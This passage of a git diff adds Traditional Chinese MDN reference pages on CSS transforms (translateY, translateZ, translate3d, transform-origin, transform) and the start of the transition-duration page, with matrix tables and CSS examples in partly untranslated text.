+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd><mtd>t</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[1 0 0 1 t 0]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="translateY()"><code>translateY()</code></h3>
+
+<p><img src="/@api/deki/files/5971/=transform-functions-translateY_2.png" style="float: left;">The <code>translateY()</code> CSS function moves the element vertically on the plane. This transformation is characterized by a {{cssxref("&lt;length&gt;")}} defining how much it moves vertically.</p>
+
+<p><code>translateY(ty)</code> is a shortcut for <code>translate(0, ty)</code>.</p>
+
+<h4 id="Syntax_2">Syntax</h4>
+
+<pre class="syntaxbox">translateY(t)
+</pre>
+
+<h4 id="值_20">值</h4>
+
+<dl>
+ <dt><em>t</em></dt>
+ <dd>Is a {{cssxref("&lt;length&gt;")}} representing the ordinate of the translating vector.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2">
+    <p>A translation is not a linear transform in ℝ<sup>2</sup> and cannot be represented using a matrix in the cartesian coordinates system.</p>
+   </td>
+   <td><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>t</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>t</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>t</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[1 0 0 1 0 t]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="translateZ()"><code>translateZ()</code></h3>
+
+<p>The <code>translateZ()</code> CSS function moves the element along the z-axis of the 3D space. This transformation is characterized by a {{cssxref("&lt;length&gt;")}} defining how much it moves.</p>
+
+<p><code>translateZ(tz)</code> is a shorthand for <code>translate3d(0, 0, tz)</code>.</p>
+
+<h4 id="表達式_19">表達式</h4>
+
+<pre class="syntaxbox">translateZ(t)
+</pre>
+
+<h4 id="值_21">值</h4>
+
+<dl>
+ <dt><em>t</em></dt>
+ <dd><span style="line-height: 1.5;">Is a {{cssxref("&lt;length&gt;")}} representing the z-component of the translating vector. It can't be a {{cssxref("&lt;percentage&gt;")}} value; in that case the property containing the transform is considered invalid.</span></dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2" rowspan="2">This transform applies to the 3D space and cannot be represented on the plane.</td>
+   <td colspan="1" rowspan="2">A translation is not a linear transform in ℝ<sup>3</sup> and cannot be represented using a matrix in the Cartesian coordinates system.</td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>t</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/zh-tw/web/css/transform-function/translate3d()/index.html b/files/zh-tw/web/css/transform-function/translate3d()/index.html
new file mode 100644
index 0000000000..149980d71d
--- /dev/null
+++ b/files/zh-tw/web/css/transform-function/translate3d()/index.html
@@ -0,0 +1,116 @@
+---
+title: translate3d()
+slug: Web/CSS/transform-function/translate3d()
+translation_of: Web/CSS/transform-function/translate3d()
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>translate3d()</code></strong> <a href="/zh-TW/docs/Web/CSS">CSS</a> 函式以 3D 場境的方式定位元素。其結果為 {{cssxref("&lt;transform-function&gt;")}} 資料型別。</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-translate3d.html")}}</div>
+
+
+
+<p>這個轉場的特徵是三維向量，其坐標則定義元素的方向該如何移動。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox notranslate">translate3d(tx, ty, tz)
+</pre>
+
+<h3 id="數值">數值</h3>
+
+<dl>
+ <dt><code>tx</code></dt>
+ <dd>其 {{cssxref("&lt;length&gt;")}} 代表平移向量的橫坐標。</dd>
+ <dt><code>ty</code></dt>
+ <dd>其 {{cssxref("&lt;length&gt;")}} 代表平移向量的縱坐標。</dd>
+ <dt><code>tz</code></dt>
+ <dd>其 {{cssxref("&lt;length&gt;")}} 代表平移向量的 z 分量。數值不能是 {{cssxref("&lt;percentage&gt;")}}：否則，此轉場的屬性無效。</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">ℝ<sup>2</sup> 上的笛卡兒座標（Cartesian coordinate）</th>
+   <th scope="col">ℝℙ<sup>2</sup> 上的齊次坐標（homogeneous coordinates）</th>
+   <th scope="col">ℝ<sup>3</sup> 上的笛卡兒座標</th>
+   <th scope="col">ℝℙ<sup>3</sup> 上的齊次坐標</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2" rowspan="2">
+    <p>This transformation applies to the 3D space and can't be represented on the plane.</p>
+   </td>
+   <td colspan="1" rowspan="2">A translation is not a linear transformation in ℝ<sup>3</sup> and can't be represented using a Cartesian-coordinate matrix.</td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd><mtd>tx</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>tz</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="示例">示例</h2>
+
+<h3 id="使用單軸平移">使用單軸平移</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;Static&lt;/div&gt;
+&lt;div class="moved"&gt;Moved&lt;/div&gt;
+&lt;div&gt;Static&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+  width: 60px;
+  height: 60px;
+  background-color: skyblue;
+}
+
+.moved {
+  /* Equivalent to perspective(500px) translateX(10px) */
+  transform: perspective(500px) translate3d(10px, 0, 0px);
+  background-color: pink;
+}
+</pre>
+
+<h4 id="結果">結果</h4>
+
+<p>{{EmbedLiveSample("Using_a_single_axis_translation", 250, 250)}}</p>
+
+<h3 id="Combining_z-axis_and_x-axis_translation">Combining z-axis and x-axis translation</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;Static&lt;/div&gt;
+&lt;div class="moved"&gt;Moved&lt;/div&gt;
+&lt;div&gt;Static&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+  width: 60px;
+  height: 60px;
+  background-color: skyblue;
+}
+
+.moved {
+  transform: perspective(500px) translate3d(10px, 0, 100px);
+  background-color: pink;
+}
+</pre>
+
+<h4 id="結果_2">結果</h4>
+
+<p>{{EmbedLiveSample("Combining_z-axis_and_x-axis_translation", 250, 250)}}</p>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>請參見 <code><a href="/zh-TW/docs/Web/CSS/transform-function#Browser_compatibility">&lt;transform-function&gt;</a></code>。</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
diff --git a/files/zh-tw/web/css/transform-origin/index.html b/files/zh-tw/web/css/transform-origin/index.html
new file mode 100644
index 0000000000..2cfccb1716
--- /dev/null
+++ b/files/zh-tw/web/css/transform-origin/index.html
@@ -0,0 +1,455 @@
+---
+title: transform-origin
+slug: Web/CSS/transform-origin
+tags:
+  - CSS
+translation_of: Web/CSS/transform-origin
+---
+<div>{{ CSSRef }}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a> 內的<strong><code>transform-origin</code></strong>屬性可以設定元素變化的原點。</p>
+
+<div>{{EmbedInteractiveExample("pages/css/transform-origin.html")}}</div>
+
+
+
+<p>變化原點指的是應用變化的點。舉例來說， <code><a href="/en-US/docs/Web/CSS/transform-function/rotate">rotate()</a></code>函數的原點為旋轉中心。 (This property is applied by first translating the element by the negated value of the property, then applying the element's transform, then translating by the property value.)</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush: css no-line-numbers">/* One-value syntax */
+transform-origin: 2px<em>;</em>
+transform-origin: bottom;
+
+/* x-offset | y-offset */
+transform-origin: 3cm 2px;
+
+/* x-offset-keyword | y-offset */
+transform-origin: left 2px;
+
+/* x-offset-keyword | y-offset-keyword */
+transform-origin: right top;
+
+/* y-offset-keyword | x-offset-keyword */
+transform-origin: top right;
+
+/* x-offset | y-offset | z-offset */
+transform-origin: 2px 30% 10px;
+
+/* x-offset-keyword | y-offset | z-offset */
+transform-origin: left 5px -3px;
+
+/* x-offset-keyword | y-offset-keyword | z-offset */
+transform-origin: right bottom 2cm;
+
+/* y-offset-keyword | x-offset-keyword | z-offset */
+transform-origin: bottom right 2cm;
+
+/* Global values */
+transform-origin: inherit;
+transform-origin: initial;
+transform-origin: unset;
+</pre>
+
+<p>The <code>transform-origin</code> p屬性可以使用多次，每一次都代表著一個偏移量。若未設定偏移量，則重置為其對應的 <a href="/en-US/docs/Web/CSS/initial_value">初始值</a>。</p>
+
+<p>If two or more values are defined and either no value is a keyword, or the only used keyword is <code>center</code>, then the first value represents the horizontal offset and the second represents the vertical offset.</p>
+
+<ul>
+ <li>One-value syntax:
+  <ul>
+   <li>The value must be a {{cssxref("&lt;length&gt;")}}, a {{cssxref("&lt;percentage&gt;")}}, or one of the keywords <code>left</code>, <code>center</code>, <code>right</code>, <code>top</code> or <code>bottom</code>.</li>
+  </ul>
+ </li>
+ <li>Two-value syntax:
+  <ul>
+   <li>One value must be a {{cssxref("&lt;length&gt;")}}, a {{cssxref("&lt;percentage&gt;")}}, or one of the keywords <code>left</code>, <code>center</code>, and <code>right</code>.</li>
+   <li>The other value must be a {{cssxref("&lt;length&gt;")}}, a {{cssxref("&lt;percentage&gt;")}}, or one of the keywords <code>top</code>, <code>center</code>, and <code>bottom</code>.</li>
+  </ul>
+ </li>
+ <li>Three-value syntax:
+  <ul>
+   <li>The first two values are the same as for the two-value syntax.</li>
+   <li>The third value must be a {{cssxref("&lt;length&gt;")}}. It always represents the Z offset.</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><em>x-offset</em></dt>
+ <dd>Is a {{cssxref("&lt;length&gt;")}} or a {{cssxref("&lt;percentage&gt;")}} describing how far from the left edge of the box the origin of the transform is set.</dd>
+ <dt><em>offset-keyword</em></dt>
+ <dd>Is one of the <code>left</code>, <code>right</code>, <code>top</code>, <code>bottom</code>, or <code>center</code> keyword describing the corresponding offset.</dd>
+ <dt><em>y-offset</em></dt>
+ <dd>Is a {{cssxref("&lt;length&gt;")}} or a {{cssxref("&lt;percentage&gt;")}} describing how far from the top edge of the box the origin of the transform is set.</dd>
+ <dt><em>x-offset-keyword</em></dt>
+ <dd>Is one of the <code>left</code>, <code>right</code>, or <code>center</code> keyword describing how far from the left edge of the box the origin of the transform is set.</dd>
+ <dt><em>y-offset-keyword</em></dt>
+ <dd>Is one of the <code>top</code>, <code>bottom</code>, or <code>center</code> keyword describing how far from the top edge of the box the origin of the transform is set.</dd>
+ <dt><em>z-offset</em></dt>
+ <dd>Is a {{cssxref("&lt;length&gt;")}} (and never a {{cssxref("&lt;percentage&gt;")}} which would make the statement invalid) describing how far from the user eye the z=0 origin is set.</dd>
+</dl>
+
+<p>The keywords are convenience shorthands and match the following {{cssxref("&lt;percentage&gt;")}} values:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Keyword</th>
+   <th scope="col">Value</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>left</code></td>
+   <td><code>0%</code></td>
+  </tr>
+  <tr>
+   <td><code>center</code></td>
+   <td><code>50%</code></td>
+  </tr>
+  <tr>
+   <td><code>right</code></td>
+   <td><code>100%</code></td>
+  </tr>
+  <tr>
+   <td><code>top</code></td>
+   <td><code>0%</code></td>
+  </tr>
+  <tr>
+   <td><code>bottom</code></td>
+   <td><code>100%</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Code</th>
+   <th>Sample</th>
+  </tr>
+  <tr>
+   <td>
+    <p><code>transform: none;</code></p>
+   </td>
+   <td>
+    <div class="hidden" id="transform_none">
+    <pre class="brush: html">
+&lt;div class="box1"&gt;&amp;nbsp;&lt;/div&gt;
+</pre>
+
+    <pre class="brush: css">
+.box1 {
+margin: 0.5em;
+width: 3em;
+height: 3em;
+border: solid 1px;
+background-color: palegreen;
+transform: none;
+-webkit-transform: none;
+}
+</pre>
+    </div>
+
+    <div>{{EmbedLiveSample('transform_none', '', 120, '', '', 'no-button') }}</div>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>transform: rotate(30deg);</code></p>
+   </td>
+   <td>
+    <div class="hidden" id="transform_rotate_only">
+    <pre class="brush: html">
+&lt;div class="box2"&gt;&amp;nbsp;&lt;/div&gt;
+</pre>
+
+    <pre class="brush: css">
+.box2 {
+margin: 0.5em;
+width: 3em;
+height: 3em;
+border: solid 1px;
+background-color: palegreen;
+transform: rotate(30deg);
+-webkit-transform: rotate(30deg);
+}
+</pre>
+    </div>
+
+    <div>{{EmbedLiveSample('transform_rotate_only', '', 120, '', '', 'no-button') }}</div>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>transform: rotate(30deg);<br>
+     transform-origin: 0 0;</code></p>
+   </td>
+   <td>
+    <div class="hidden" id="transform_rotate">
+    <pre class="brush: html">
+&lt;div class="box3"&gt;&amp;nbsp;&lt;/div&gt;
+</pre>
+
+    <pre class="brush: css">
+.box3 {
+margin: 0.5em;
+width: 3em;
+height: 3em;
+border: solid 1px;
+background-color: palegreen;
+transform-origin: 0 0;
+-webkit-transform-origin: 0 0;
+transform: rotate(30deg);
+-webkit-transform: rotate(30deg);
+}
+</pre>
+    </div>
+
+    <div>{{EmbedLiveSample('transform_rotate', '', 120, '', '', 'no-button') }}</div>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>transform: rotate(30deg);<br>
+     transform-origin: 100% 100%;</code></p>
+   </td>
+   <td>
+    <div class="hidden" id="transform_rotate_with_percentage">
+    <pre class="brush: html">
+&lt;div class="box4"&gt;&amp;nbsp;&lt;/div&gt;
+</pre>
+
+    <pre class="brush: css">
+.box4 {
+margin: 0.5em;
+width: 3em;
+height: 3em;
+border: solid 1px;
+background-color: palegreen;
+transform-origin: 100% 100%;
+-webkit-transform-origin: 100% 100%;
+transform: rotate(30deg);
+-webkit-transform: rotate(30deg);
+}
+</pre>
+    </div>
+
+    <div>{{EmbedLiveSample('transform_rotate_with_percentage', '', 120, '', '', 'no-button') }}</div>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>transform: rotate(30deg);<br>
+     transform-origin: -1em -3em;</code></p>
+   </td>
+   <td>
+    <div class="hidden" id="transform_rotate_with_em">
+    <pre class="brush: html">
+&lt;div class="box5"&gt;&amp;nbsp;&lt;/div&gt;
+</pre>
+
+    <pre class="brush: css">
+.box5 {
+margin: 0.5em;
+width: 3em;
+height: 3em;
+border: solid 1px;
+background-color: palegreen;
+transform-origin: -1em -3em;
+-webkit-transform-origin: -1em -3em;
+transform: rotate(30deg);
+-webkit-transform: rotate(30deg);
+}
+</pre>
+    </div>
+
+    <div>{{EmbedLiveSample('transform_rotate_with_em', '', 120, '', '', 'no-button') }}</div>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>transform: scale(1.7);</code></p>
+   </td>
+   <td>
+    <div class="hidden" id="transform_scale_only">
+    <pre class="brush: html">
+&lt;div class="box6"&gt;&amp;nbsp;&lt;/div&gt;
+</pre>
+
+    <pre class="brush: css">
+.box6 {
+margin: 0.5em;
+width: 3em;
+height: 3em;
+border: solid 1px;
+background-color: palegreen;
+transform: scale(<code>1.7</code>);
+-webkit-transform: scale(<code>1.7</code>);
+}
+</pre>
+    </div>
+
+    <div>{{EmbedLiveSample('transform_scale_only', '', 120, '', '', 'no-button') }}</div>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>transform: scale(1.7);<br>
+     transform-origin: 0 0;</code></p>
+   </td>
+   <td>
+    <div class="hidden" id="transform_scale_without_origin">
+    <pre class="brush: html">
+&lt;div class="box7"&gt;&amp;nbsp;&lt;/div&gt;
+</pre>
+
+    <pre class="brush: css">
+.box7 {
+margin: 0.5em;
+width: 3em;
+height: 3em;
+border: solid 1px;
+background-color: palegreen;
+transform: scale(<code>1.7</code>);
+-webkit-transform: scale(<code>1.7</code>);
+transform-origin: 0 0;
+-webkit-transform-origin: 0 0;
+}
+</pre>
+    </div>
+
+    <div>{{EmbedLiveSample('transform_scale_without_origin', '', 120, '', '', 'no-button') }}</div>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>transform: scale(1.7);<br>
+     transform-origin: 100% -30%;</code></p>
+   </td>
+   <td>
+    <div class="hidden" id="transform_scale">
+    <pre class="brush: html">
+&lt;div class="box8"&gt;&amp;nbsp;&lt;/div&gt;
+</pre>
+
+    <pre class="brush: css">
+.box8 {
+margin: 0.5em;
+width: 3em;
+height: 3em;
+border: solid 1px;
+background-color: palegreen;
+transform: scale(<code>1.7</code>);
+-webkit-transform: scale(<code>1.7</code>);
+transform-origin: 100% -30%;
+-webkit-transform-origin: 100% -30%;
+}
+</pre>
+    </div>
+
+    <div>{{EmbedLiveSample('transform_scale', '', 120, '', '', 'no-button') }}</div>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>transform: skewX(50deg);<br>
+     transform-origin: 100% -30%;</code></p>
+   </td>
+   <td>
+    <div class="hidden" id="transform_skew_x">
+    <pre class="brush: html">
+&lt;div class="box9"&gt;&amp;nbsp;&lt;/div&gt;
+</pre>
+
+    <pre class="brush: css">
+.box9 {
+margin: 0.5em;
+width: 3em;
+height: 3em;
+border: solid 1px;
+background-color: palegreen;
+transform: skewX(50deg);
+-webkit-transform: skewX(50deg);
+transform-origin: 100% -30%;
+-webkit-transform-origin: 100% -30%;
+}
+</pre>
+    </div>
+
+    <div>{{EmbedLiveSample('transform_skew_x', '', 120, '', '', 'no-button') }}</div>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>transform: skewY(50deg);<br>
+     transform-origin: 100% -30%;</code></p>
+   </td>
+   <td>
+    <div class="hidden" id="transform_skew_y">
+    <pre class="brush: html">
+&lt;div class="box10"&gt;&amp;nbsp;&lt;/div&gt;
+</pre>
+
+    <pre class="brush: css">
+.box10 {
+margin: 0.5em;
+width: 3em;
+height: 3em;
+border: solid 1px;
+background-color: palegreen;
+transform: skewY(50deg);
+-webkit-transform: skewY(50deg);
+transform-origin: 100% -30%;
+-webkit-transform-origin: 100% -30%;
+}
+</pre>
+    </div>
+
+    <div>{{EmbedLiveSample('transform_skew_y', '', 120, '', '', 'no-button') }}</div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Transforms', '#transform-origin-property', 'transform-origin') }}</td>
+   <td>{{ Spec2('CSS3 Transforms') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{Cssinfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.transform-origin")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_transforms" title="/en-US/docs/CSS/Using_CSS_transforms">Using CSS transforms</a></li>
+</ul>
diff --git a/files/zh-tw/web/css/transform/index.html b/files/zh-tw/web/css/transform/index.html
new file mode 100644
index 0000000000..7b1f9ee11b
--- /dev/null
+++ b/files/zh-tw/web/css/transform/index.html
@@ -0,0 +1,159 @@
+---
+title: transform
+slug: Web/CSS/transform
+tags:
+  - CSS
+  - CSS Property
+  - NeedsBrowserCompatibility
+  - Reference
+  - Transforms
+translation_of: Web/CSS/transform
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>transform</code></strong> <a href="/zh-TW/docs/Web/CSS">CSS</a> 屬性可以讓你修改 CSS 可視化格式模型（visual formatting model）的空間維度。使用此屬性，元素可以被平移、旋轉、縮放和傾斜。</p>
+
+<div>{{EmbedInteractiveExample("pages/css/transform.html")}}</div>
+
+<p>如果這個屬性的值不是 <code>none</code>，將會建立一個 <a href="/zh-TW/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context">stacking context</a>。在這個情況下，此元素將被其所包含的 <code>position: fixed</code> 元素當成一個 containing block。</p>
+
+<div class="warning">
+<p>只有可以變形的元素可以被變形，這包括所有被CSS box model掌管輸出的元素，除了<a href="/en-US/docs/Web/CSS/Visual_formatting_model#Inline-level_elements_and_inline_boxes">視覺格式化模型, </a><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/col">table-column boxes</a> 和 <a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/colgroup">table-colunm-group boxes</a>。</p>
+</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="notranslate">/* Keyword values */
+transform: none;
+
+/* Function values */
+transform: matrix(1.0, 2.0, 3.0, 4.0, 5.0, 6.0);
+transform: matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1);
+transform: perspective(17px);
+transform: rotate(0.5turn);
+transform: rotate3d(1, 2.0, 3.0, 10deg);
+transform: rotateX(10deg);
+transform: rotateY(10deg);
+transform: rotateZ(10deg);
+transform: translate(12px, 50%);
+transform: translate3d(12px, 50%, 3em);
+transform: translateX(2em);
+transform: translateY(3in);
+transform: translateZ(2px);
+transform: scale(2, 0.5);
+transform: scale3d(2.5, 1.2, 0.3);
+transform: scaleX(2);
+transform: scaleY(0.5);
+transform: scaleZ(0.3);
+transform: skew(30deg, 20deg);
+transform: skewX(30deg);
+transform: skewY(1.07rad);
+
+/* Multiple function values */
+transform: translateX(10px) rotate(10deg) translateY(5px);
+transform: perspective(500px) translate(10px, 0, 20px) rotateY(3deg);
+
+/* Global values */
+transform: inherit;
+transform: initial;
+transform: unset;</pre>
+
+<p><code>transform</code> 屬性可能被指定為關鍵字值 <code><a href="#none">none</a></code> 或著一或多個 <code><a href="#&lt;transform-function>">&lt;transform-function&gt;</a></code> 值。</p>
+
+<h3 id="值">值</h3>
+
+<dl>
+ <dt id="&lt;transform-function>">{{cssxref("&lt;transform-function&gt;")}}</dt>
+ <dd>可使用一個或多個 <a href="/zh-TW/docs/Web/CSS/transform-function">CSS transform functions</a>。複合的transforms 會由左至右的順序來套用。</dd>
+ <dt id="none"><code>none</code></dt>
+ <dd>設定為沒有套用任何 transform。</dd>
+</dl>
+
+<h2 id="可使用性問題">可使用性問題</h2>
+
+<p>改變尺寸和伸縮的動畫會影響網頁普遍的可使用性，因為它們可能促發一些頭痛的問題。如果你想要在網頁中提供這樣的功能，最好在網頁中放上給使用者關閉這些功能的控制開關。</p>
+
+<p>另外也可考慮使用{{cssxref("@media/prefers-reduced-motion", "prefers-reduced-motion")}} 這個媒體功能來寫一個在系統設定端的<a href="/en-US/docs/Web/CSS/Media_Queries">媒體詢問</a>，讓使用者在減少了動畫偏好之後可以關閉該使用者網頁的動畫功能。</p>
+
+<p>瞭解更多:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.3_%E2%80%94_Seizures_and_Physical_Reactions_Do_not_design_content_in_a_way_that_is_known_to_cause_seizures_or_physical_reactions">MDN Understanding WCAG, Guideline 2.3 explanations</a></li>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/animation-from-interactions">Understanding Success Criterion 2.3.3 | W3C Understanding WCAG 2.1</a></li>
+</ul>
+
+<h2 id="正式定義">正式定義</h2>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="標準語法">標準語法</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="平移、旋轉元素">平移、旋轉元素</h3>
+
+
+
+<h3 id="HTML">HTML</h3>
+
+
+
+<pre class="brush: html notranslate">&lt;p&gt;Transformed element&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">p {
+  border: solid red;
+  transform: translate(100px) rotate(20deg);
+  transform-origin: 0 -250px;
+}</pre>
+
+<h3 id="結果">結果</h3>
+
+<p>{{EmbedLiveSample("Translating_and_rotating_an_element", "400", "160")}}</p>
+
+<h3 id="更多範例">更多範例</h3>
+
+<p>請參考<a href="/zh-TW/docs/Web/Guide/CSS/Using_CSS_transforms">使用 CSS transforms</a> 以及 {{cssxref("&lt;transform-function&gt;")}} 的更多範例。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Transforms 2', '#transform-functions', 'transform')}}</td>
+   <td>{{Spec2('CSS Transforms 2')}}</td>
+   <td>Adds 3D transform functions.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transforms', '#transform-property', 'transform')}}</td>
+   <td>{{Spec2('CSS3 Transforms')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("css.properties.transform")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/CSS/Using_CSS_transforms">使用 CSS transforms</a></li>
+ <li>{{cssxref("&lt;transform-function&gt;")}} data type</li>
+ <li>A cross-browser 2D <a href="https://louisremi.github.io/jquery.transform.js/">transform plugin for jQuery</a></li>
+</ul>
diff --git a/files/zh-tw/web/css/transition-duration/index.html b/files/zh-tw/web/css/transition-duration/index.html
new file mode 100644
index 0000000000..f29fa166ca
--- /dev/null
+++ b/files/zh-tw/web/css/transition-duration/index.html
@@ -0,0 +1,342 @@
+---
+title: transition-duration
+slug: Web/CSS/transition-duration
+tags:
+  - CSS
+  - CSS Property
+  - CSS 轉場
+  - Reference
+translation_of: Web/CSS/transition-duration
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>transition-duration</code></strong> <a href="/en/CSS" title="CSS">CSS</a> 屬性指定轉場動畫所需經歷的時間，以秒或是毫秒為單位。默認值為0，表示沒有任何轉場動畫。</p>
+
+<div>{{EmbedInteractiveExample("pages/css/transition-duration.html")}}</div>
+
+
+
+<p>你可以指定多個時間長度，每一個時間長度都會被應用在{{ cssxref("transition-property") }} 設定的對應屬性上(which acts as a master list.) 如果指定的時間長度的數量比對應屬性的數量少，那麼時間長度就會被重複使用。反之，多餘的時間長度就會被刪去。而這兩種情況之下的CSS宣告都是有效的。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;time&gt; 值 */
+transition-duration: 6s;
+transition-duration: 120ms;
+transition-duration: 1s, 15s;
+transition-duration: 10s, 30s, 230ms;
+
+/* 全域值 */
+transition-duration: inherit;
+transition-duration: initial;
+transition-duration: unset;
+</pre>
+
